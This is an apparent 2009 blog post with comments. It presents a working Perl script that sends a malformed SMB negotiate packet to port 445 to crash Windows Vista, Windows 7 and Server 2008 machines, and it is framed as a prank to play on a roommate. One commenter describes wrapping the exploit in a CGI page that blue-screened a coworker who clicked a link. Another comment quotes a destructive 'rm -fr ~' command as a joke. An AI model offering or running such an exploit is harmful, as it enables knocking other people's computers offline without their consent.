Crash your roommate’s windows computer WOOO!!!

Author: fREW Schmidt

8 Sep

Have you heard? You can crash Vista and Windows 7 really easily with the following super basic code! (Tested 3x on roomies computer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#!perl

my $ip = shift or die 'Please pass the IP Address to crash as a parameter to this program';

use IO::All;
my $io = io("$ip:445");

my $foo =
"\x00\x00\x00\x90". # Begin SMB header: Session message
"\xff\x53\x4d\x42". # Server Component: SMB
"\x72\x00\x00\x00". # Negociate Protocol
"\x00\x18\x53\xc8". # Operation 0x18 & sub 0xc853
"\x00\x23". # Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe".
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54".
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31".
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00".
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57".
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61".
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c".
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c".
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e".
"\x30\x30\x32\x00";

$io->print($foo);

See details Here!

Filed under: Uncategorized

3 Responses for "Crash your roommate’s windows computer WOOO!!!"

Colin September 9th, 2009 at 5:39 am 1
Don’t forget Server 2008! You know, for all those people that insist on using Windows as a server.
ironcamel September 23rd, 2009 at 8:39 am 2
I made a simple cgi script that runs this. Put it on a web server, got my coworker to click on a link, and bam, blue screen!

#!/usr/bin/perl
use CGI qw/header/;

print header();
print “This is a test. This is just a test.\n”;
my $ip = $ENV{REMOTE_ADDR};
…
And the rest of the code is the same as above.
Shlomi Fish November 10th, 2009 at 9:30 am 3
Heh, nice. I like the use of IO::All, though I had many plans for improving it. I normally prefer to use io->socket() (or io->file() in production).

For all Windows haters out there (and I’m a Linuxer at heart too and am using Linux now), I should note that there has been remotely exploitable exploits for a lot of UNIX/Linux systems, too. The situation seems much better on the BSDs and especially OpenBSD, but I tend to agree with people that say that: 1. Security is not the only consideration in the general maintenance of the system (even though it’s certainly important). and 2. Lack of familiarity, understanding and intimacy with a system can often be detrimental for overall security, too. (“What did you say I should do? Type ‘rm -fr ~’ at the terminal? Sure, I can do that, wait a sec.”)